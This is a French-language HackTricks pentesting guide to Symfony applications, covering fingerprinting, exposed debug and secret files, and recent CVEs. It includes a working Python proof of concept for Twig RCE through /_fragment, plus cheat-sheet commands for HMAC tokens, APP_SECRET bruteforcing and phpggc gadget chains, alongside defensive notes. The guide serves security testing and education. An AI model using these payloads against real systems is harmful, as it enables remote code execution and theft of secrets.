# Symfony {{#include ../../banners/hacktricks-training.md}} Symfony est l'un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations des cibles d'entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM… tous intègrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony. > Note historique : Une grande partie de l'écosystème utilise encore la branche **5.4 LTS** (EOL **novembre 2025**). Vérifiez toujours la version mineure exacte car de nombreux avis de sécurité de 2023-2025 ne sont corrigés que dans des versions de patch (par exemple, 5.4.46 → 5.4.50). --- ## Recon & Enumeration ### Finger-printing * En-têtes de réponse HTTP : `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` ou cookies commençant par `sf_redirect`, `sf_session`, `MOCKSESSID`. * Les fuites de code source (`composer.json`, `composer.lock`, `/vendor/…`) révèlent souvent la version exacte : ```bash curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version' ``` * Routes publiques qui n'existent que sur Symfony : * `/_profiler` (Symfony **Profiler** & barre d'outils de débogage) * `/_wdt/` (“Web Debug Toolbar”) * `/_error/{code}.{_format}` (pages d'erreur jolies) * `/app_dev.php`, `/config.php`, `/config_dev.php` (contrôleurs frontaux de développement pré-4.0) * Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster : `symfony.txt` → recherchez `/_fragment`, `/_profiler`, `.env`, `.htaccess`. ### Fichiers et points de terminaison intéressants | Chemin | Pourquoi c'est important | |--------|-------------------------| | `/.env`, `/.env.local`, `/.env.prod` | Souvent mal déployés → fuites `APP_SECRET`, identifiants DB, SMTP, clés AWS | | `/.git`, `.svn`, `.hg` | Divulgation de source → identifiants + logique métier | | `/var/log/*.log`, `/log/dev.log` | Mauvaise configuration de la racine web expose des traces de pile | | `/_profiler` | Historique complet des requêtes, configuration, conteneur de services, **APP_SECRET** (≤ 3.4) | | `/_fragment` | Point d'entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez `APP_SECRET` | | `/vendor/phpunit/phpunit/phpunit` | RCE PHPUnit si accessible (CVE-2017-9841) | | `/index.php/_error/{code}` | Finger-print & parfois fuite des traces d'exception | --- ## Vulnérabilités à fort impact (2023-2025) ### 1. Divulgation de APP_SECRET ➜ RCE via `/_fragment` (alias “secret-fragment”) * **CVE-2019-18889** à l'origine, mais *apparaît toujours* sur des cibles modernes lorsque le débogage est laissé activé ou que `.env` est exposé. * Une fois que vous connaissez le `APP_SECRET` de 32 caractères, créez un jeton HMAC et abusez du contrôleur interne `render()` pour exécuter du Twig arbitraire : ```python # PoC – nécessite le secret import hmac, hashlib, requests, urllib.parse as u secret = bytes.fromhex('deadbeef…') payload = "{{['id']|filter('system')}}" # RCE dans Twig query = { 'template': '@app/404.html.twig', 'filter': 'raw', '_format': 'html', '_locale': 'en', 'globals[cmd]': 'id' } qs = u.urlencode(query, doseq=True) token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest() r = requests.get(f"https://target/_fragment?{qs}&_token={token}") print(r.text) ``` * Excellent article et script d'exploitation : blog Ambionics (lié dans les références). ### 2. Détournement de processus Windows – CVE-2024-51736 * Le composant `Process` recherchait le répertoire de travail actuel **avant** `PATH` sur Windows. Un attaquant capable de télécharger `tar.exe`, `cmd.exe`, etc. dans une racine web écrivable et de déclencher `Process` (par exemple, extraction de fichiers, génération de PDF) obtient l'exécution de commandes. * Corrigé dans 5.4.50, 6.4.14, 7.1.7. ### 3. Fixation de session – CVE-2023-46733 * Le garde d'authentification a réutilisé un ID de session existant après la connexion. Si un attaquant définit le cookie **avant** que la victime ne s'authentifie, il détourne le compte après la connexion. ### 4. XSS dans le sandbox Twig – CVE-2023-46734 * Dans les applications qui exposent des modèles contrôlés par l'utilisateur (CMS admin, constructeur d'e-mails), le filtre `nl2br` pourrait être abusé pour contourner le sandbox et injecter du JS. ### 5. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applications héritées) * `phpggc symfony/1 system id` produit une charge utile Phar qui déclenche RCE lorsqu'un unserialize() se produit sur des classes telles que `sfNamespacedParameterHolder`. Vérifiez les points de terminaison de téléchargement de fichiers et les wrappers `phar://`. {{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}} --- ## Exploitation Cheat-Sheet ### Calculer le jeton HMAC pour `/_fragment` ```bash python - <<'PY' import sys, hmac, hashlib, urllib.parse as u secret = bytes.fromhex(sys.argv[1]) qs = u.quote_plus(sys.argv[2], safe='=&') print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()) PY deadbeef… "template=@App/evil&filter=raw&_format=html" ``` ### Bruteforce faible `APP_SECRET` ```bash cewl -d3 https://target -w words.txt symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target ``` ### RCE via exposed Symfony Console Si `bin/console` est accessible via `php-fpm` ou un téléchargement direct en CLI : ```bash php bin/console about # confirm it works php bin/console cache:clear --no-warmup ``` Utilisez des gadgets de désérialisation dans le répertoire de cache ou écrivez un modèle Twig malveillant qui sera exécuté lors de la prochaine requête. --- ## Notes défensives 1. **Ne jamais déployer le débogage** (`APP_ENV=dev`, `APP_DEBUG=1`) en production ; bloquez `/app_dev.php`, `/_profiler`, `/_wdt` dans la configuration du serveur web. 2. Stockez les secrets dans des variables d'environnement ou `vault/secrets.local.php`, *jamais* dans des fichiers accessibles via le document-root. 3. Appliquez la gestion des correctifs – abonnez-vous aux avis de sécurité Symfony et maintenez au moins le niveau de correctif LTS. 4. Si vous utilisez Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur `open_basedir`/`disable_functions`. --- ### Outils offensifs utiles * **ambionics/symfony-exploits** – RCE de fragment secret, découverte de routes de débogage. * **phpggc** – Chaînes de gadgets prêtes à l'emploi pour Symfony 1 & 2. * **sf-encoder** – petit outil pour calculer le HMAC de `_fragment` (implémentation Go). ## Références * [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment) * [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class) {{#include ../../banners/hacktricks-training.md}}